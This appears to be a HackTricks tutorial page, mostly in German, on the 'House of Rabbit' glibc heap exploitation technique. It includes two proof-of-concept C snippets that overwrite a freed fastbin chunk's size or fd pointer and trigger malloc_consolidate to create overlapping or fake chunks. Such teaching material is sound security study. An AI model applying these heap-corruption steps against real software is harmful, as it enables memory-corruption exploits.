House of Rabbit

Unterstützen Sie HackTricks

Anforderungen

  1. Fähigkeit, den fastbin fd-Zeiger oder die Größe zu ändern: Dies bedeutet, dass Sie den Vorwärtszeiger eines Chunks im fastbin oder seine Größe ändern können.

  2. Fähigkeit, malloc_consolidate auszulösen: Dies kann durch Zuweisen eines großen Chunks oder durch Zusammenführen des Top-Chunks erfolgen, was dazu führt, dass der Heap Chunks konsolidiert.

Ziele

  1. Überlappende Chunks erstellen: Um einen Chunk mit einem anderen zu überlappen, um weitere Heap-Manipulationen zu ermöglichen.

  2. Fälschung von Fake-Chunks: Um den Allocator dazu zu bringen, einen gefälschten Chunk während der Heap-Operationen als legitimen Chunk zu behandeln.

Schritte des Angriffs

POC 1: Ändern der Größe eines fastbin-Chunks

Ziel: Erstellen eines überlappenden Chunks durch Manipulation der Größe eines fastbin-Chunks.

  • Schritt 1: Chunks zuweisen

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • Schritt 2: Freigeben von Chunks

free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050

Wir geben beide Chunks frei und fügen sie der fastbin-Liste hinzu.

  • Schritt 3: Größenänderung des Chunks

chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • Schritt 4: Trigger malloc_consolidate

malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Allocating a large chunk triggers the malloc_consolidate function, merging small chunks in the fast bin. The manipulated size of chunk1 causes it to overlap with chunk2.

After consolidation, chunk1 overlaps with chunk2, allowing for further exploitation.

POC 2: Modify the fd pointer

Objective: Create a fake chunk by manipulating the fast bin fd pointer.

  • Schritt 1: Chunks zuweisen

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Erklärung: Wir allozieren zwei Chunks, einen kleineren und einen größeren, um den Heap für den Fake Chunk einzurichten.

  • Schritt 2: Fake Chunk erstellen

chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • Schritt 3: chunk1 freigeben

free(chunk1);  // Frees the chunk at 0x602000

Erklärung: Wir geben chunk1 frei und fügen ihn der fastbin-Liste hinzu.

  • Schritt 4: Ändern Sie fd von chunk1

chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Erklärung: Wir ändern den Vorwärtszeiger (fd) von chunk1 so, dass er auf unseren gefälschten Chunk innerhalb von chunk2 zeigt.

  • Schritt 5: malloc_consolidate auslösen

malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Die erneute Zuweisung eines großen Chunks löst malloc_consolidate aus, das den Fake-Chunk verarbeitet.

Der Fake-Chunk wird Teil der Fastbin-Liste, was ihn zu einem legitimen Chunk für weitere Ausnutzungen macht.

Zusammenfassung

Die House of Rabbit-Technik beinhaltet entweder die Modifizierung der Größe eines Fastbin-Chunks, um überlappende Chunks zu erstellen, oder die Manipulation des fd-Zeigers, um Fake-Chunks zu erstellen. Dies ermöglicht es Angreifern, legitime Chunks im Heap zu fälschen und verschiedene Formen der Ausnutzung zu ermöglichen. Das Verständnis und die praktische Anwendung dieser Schritte werden Ihre Fähigkeiten in der Heap-Ausnutzung verbessern.

Last updated